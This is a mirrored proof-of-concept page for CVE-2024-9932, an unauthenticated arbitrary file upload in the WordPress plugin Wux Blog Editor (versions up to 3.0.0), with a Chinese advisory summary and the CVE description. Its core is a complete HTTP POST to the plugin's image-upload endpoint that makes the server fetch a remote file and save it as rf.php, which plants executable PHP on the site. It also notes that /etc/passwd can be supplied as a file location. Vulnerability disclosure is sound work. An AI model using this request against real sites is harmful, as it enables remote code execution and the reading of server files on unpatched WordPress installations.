CVE-2024-9932 PoC — WordPress plugin Wux Blog Editor 代码问题漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-9932

Associated Vulnerability

Title:WordPress plugin Wux Blog Editor 代码问题漏洞 (CVE-2024-9932)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Wux Blog Editor 3.0.0版本及之前版本存在代码问题漏洞，该漏洞源于文件类型验证不足，导致任意文件上传。

Description

Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-9932
Wux Blog Editor &lt;= 3.0.0 - Unauthenticated Arbitrary File Upload

# Description:
The Wux Blog Editor plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'wuxbt_insertImageNew' function in versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possi

```
Link: CVE-2024-9932
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```

POC
---

```
POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://kubernetes.docker.internal
Connection: keep-alive

{
    "url": "https://rfi.nessus.org/rfi.txt",
    "imageName": "rf.php",
    "image_alt": "Description of the image",
    "image_title": "Title of the image"
}
```

File ended up in /wp-content/uploads/2024/11/rf.php

You can also provide it a file location like /etc/passwd

File Snapshot


 [4.0K]  /data/pocs/93c30b09eb08668e05af16fa97917bd31d19c611
└── [1.4K]  README.md

0 directories, 1 file

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